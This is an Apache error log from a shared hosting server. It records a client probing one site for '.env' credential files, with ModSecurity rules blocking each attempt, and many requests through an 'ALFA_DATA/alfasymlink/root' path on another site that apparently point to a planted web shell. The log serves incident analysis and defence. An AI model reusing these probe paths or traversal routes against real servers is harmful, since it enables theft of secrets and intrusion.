[Sat Oct 24 09:02:43.328141 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.194:21454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/validate
[Sat Oct 24 09:02:46.481435 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.84.169.196:28628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:50.421787 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 18.207.79.144:46859] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:54.519849 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.213.102.186:58567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:58.573931 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.197.28.78:17859] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:03:03.853424 2026] [core:crit] [pid 2635678:tid 2635678] (13)Permission denied: [client 71.6.245.79:14354] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:03:08.309580 2026] [authz_core:error] [pid 2627309:tid 2627309] [client 167.88.173.161:39976] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:03:09.819083 2026] [security2:error] [pid 2625330:tid 2625330] [client 167.88.173.161:39984] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "atysjfMnT_rHlxLKOWDnfQAAAAc"]
[Sat Oct 24 09:03:09.819358 2026] [security2:error] [pid 2625330:tid 2625330] [client 167.88.173.161:39984] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "atysjfMnT_rHlxLKOWDnfQAAAAc"]
[Sat Oct 24 09:03:09.819660 2026] [security2:error] [pid 2625330:tid 2625330] [client 167.88.173.161:39984] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "atysjfMnT_rHlxLKOWDnfQAAAAc"]
[Sat Oct 24 09:03:10.376138 2026] [security2:error] [pid 2607843:tid 2607843] [client 167.88.173.161:39994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "atysjgSwRuPA-FjBma7JqwAAAAI"]
[Sat Oct 24 09:03:10.376382 2026] [security2:error] [pid 2607843:tid 2607843] [client 167.88.173.161:39994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "atysjgSwRuPA-FjBma7JqwAAAAI"]
[Sat Oct 24 09:03:10.376688 2026] [security2:error] [pid 2607843:tid 2607843] [client 167.88.173.161:39994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "atysjgSwRuPA-FjBma7JqwAAAAI"]
[Sat Oct 24 09:03:11.126655 2026] [security2:error] [pid 2609012:tid 2609012] [client 167.88.173.161:40006] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "atysj3UcfBNBYE9xHAJBcQAAAAA"]
[Sat Oct 24 09:03:11.126915 2026] [security2:error] [pid 2609012:tid 2609012] [client 167.88.173.161:40006] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "atysj3UcfBNBYE9xHAJBcQAAAAA"]
[Sat Oct 24 09:03:11.127279 2026] [security2:error] [pid 2609012:tid 2609012] [client 167.88.173.161:40006] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "atysj3UcfBNBYE9xHAJBcQAAAAA"]
[Sat Oct 24 09:03:11.782920 2026] [security2:error] [pid 2635684:tid 2635684] [client 167.88.173.161:40022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "atysj_h8HbpaJ2ileDIi_gAAABE"]
[Sat Oct 24 09:03:11.783143 2026] [security2:error] [pid 2635684:tid 2635684] [client 167.88.173.161:40022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "atysj_h8HbpaJ2ileDIi_gAAABE"]
[Sat Oct 24 09:03:11.783422 2026] [security2:error] [pid 2635684:tid 2635684] [client 167.88.173.161:40022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "atysj_h8HbpaJ2ileDIi_gAAABE"]
[Sat Oct 24 09:03:12.358319 2026] [security2:error] [pid 2635678:tid 2635678] [client 167.88.173.161:40026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "atyskKC4H19ncVbSqfEyYQAAAAU"]
[Sat Oct 24 09:03:12.358550 2026] [security2:error] [pid 2635678:tid 2635678] [client 167.88.173.161:40026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "atyskKC4H19ncVbSqfEyYQAAAAU"]
[Sat Oct 24 09:03:12.358847 2026] [security2:error] [pid 2635678:tid 2635678] [client 167.88.173.161:40026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "atyskKC4H19ncVbSqfEyYQAAAAU"]
[Sat Oct 24 09:03:14.424746 2026] [security2:error] [pid 2627273:tid 2627273] [client 167.88.173.161:40036] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "atyskhdOhHN-18IxgZKrIgAAAAY"]
[Sat Oct 24 09:03:14.424982 2026] [security2:error] [pid 2627273:tid 2627273] [client 167.88.173.161:40036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "atyskhdOhHN-18IxgZKrIgAAAAY"]
[Sat Oct 24 09:03:14.425265 2026] [security2:error] [pid 2627273:tid 2627273] [client 167.88.173.161:40036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "atyskhdOhHN-18IxgZKrIgAAAAY"]
[Sat Oct 24 09:03:18.602901 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.0.63.151:57342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:03:26.609855 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 18.207.79.144:45605] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:03:30.536607 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.197.82.195:22621] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:03:42.690180 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 98.82.59.253:48397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:03:46.603455 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.192.125.239:55362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:03:50.649330 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 54.84.161.62:4322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/rescan
[Sat Oct 24 09:04:00.496359 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 85.208.96.207:60880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/slab_size
[Sat Oct 24 09:04:18.587321 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 23.23.213.182:29553] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/QEMU0002:00/physical_node/driver/uevent
[Sat Oct 24 09:04:27.032899 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 100.24.167.60:45914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:04:30.772735 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.94.199.128:12661] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:04:31.153592 2026] [security2:error] [pid 2625272:tid 2625272] [client 85.208.96.206:33400] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/gconv/gconv-modules.d/gconv-modules-extra.conf"] [unique_id "atys34Y2rJh4KkI7ZZhkWAAAAAM"]
[Sat Oct 24 09:04:31.154001 2026] [security2:error] [pid 2625272:tid 2625272] [client 85.208.96.206:33400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/gconv/gconv-modules.d/gconv-modules-extra.conf"] [unique_id "atys34Y2rJh4KkI7ZZhkWAAAAAM"]
[Sat Oct 24 09:04:31.154457 2026] [security2:error] [pid 2625272:tid 2625272] [client 85.208.96.206:33400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/gconv/gconv-modules.d/gconv-modules-extra.conf"] [unique_id "atys34Y2rJh4KkI7ZZhkWAAAAAM"]
[Sat Oct 24 09:04:34.476791 2026] [ssl:error] [pid 2625330:tid 2625330] (5)Input/output error: [client 44.221.227.90:58981] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:04:36.208014 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.6:25204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCPv6/slabs_cpu_partial
[Sat Oct 24 09:04:38.704715 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.197.102.71:51808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:04:43.952203 2026] [security2:error] [pid 2635684:tid 2635684] [client 85.208.96.198:22006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/95rootfs-block/parse-block.sh"] [unique_id "atys6_h8HbpaJ2ileDIjAgAAABE"]
[Sat Oct 24 09:04:43.952247 2026] [security2:error] [pid 2635684:tid 2635684] [client 85.208.96.198:22006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/95rootfs-block/parse-block.sh"] [unique_id "atys6_h8HbpaJ2ileDIjAgAAABE"]
[Sat Oct 24 09:04:47.040275 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.83.56.1:22662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:04:50.480705 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 34.204.150.196:11458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/pci-stub/unbind
[Sat Oct 24 09:04:54.497760 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.212.232.231:33682] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:05:02.582333 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 35.171.117.160:53815] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:05:06.779283 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.84.147.79:12492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:05:18.542399 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.203.68.145:32083] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:05:22.651106 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.205.170.13:59502] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:05:26.420040 2026] [core:crit] [pid 2635677:tid 2635677] (13)Permission denied: [client 108.181.0.143:30926] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:05:30.515462 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.204.12.115:3490] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:05:38.646037 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.3.155.146:17841] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:05:40.632981 2026] [security2:error] [pid 2635676:tid 2635676] [client 85.208.96.207:59720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/cp424.pyc"] [unique_id "atytJGyV-56kZb5LgxTnowAAAAE"]
[Sat Oct 24 09:05:40.633043 2026] [security2:error] [pid 2635676:tid 2635676] [client 85.208.96.207:59720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/cp424.pyc"] [unique_id "atytJGyV-56kZb5LgxTnowAAAAE"]
[Sat Oct 24 09:05:46.845066 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.224.132.215:3250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:06:10.544103 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 100.28.133.214:43227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:06:20.905843 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 185.191.171.3:32514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/align
[Sat Oct 24 09:06:22.525814 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.3.26.180:29596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:06:34.546352 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.7.13.143:29734] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:06:38.547979 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 184.73.35.182:15224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/slots/29/module/uevent
[Sat Oct 24 09:06:46.556391 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.7.13.143:18118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:06:50.675921 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 3.212.205.90:51029] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/new_id
[Sat Oct 24 09:06:54.759145 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 100.24.167.60:35165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/serial/remove_id
[Sat Oct 24 09:07:02.586695 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.215.59.93:35101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:15.789053 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.223.134.5:31776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:22.650411 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.3.102.51:14000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:26.562139 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.0.105.244:15507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:30.970905 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.213.106.226:18030] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:34.581760 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 54.145.82.217:19742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/uevent
[Sat Oct 24 09:07:38.581374 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.7.13.143:33946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:42.785569 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 18.207.89.138:11619] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/ucsi_acpi/bind
[Sat Oct 24 09:07:50.844002 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.225.181.161:39320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:54.751068 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 35.169.119.108:6421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:07:58.870741 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 50.17.193.48:32398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:08:02.685671 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.29.34.97:30091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:08:08.329669 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 85.208.96.197:31014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:08:10.679826 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 34.203.111.15:11624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/memory14/subsystem/uevent
[Sat Oct 24 09:08:14.702312 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.231.45.47:17740] AH02013: coalesce failed to read from data bucket
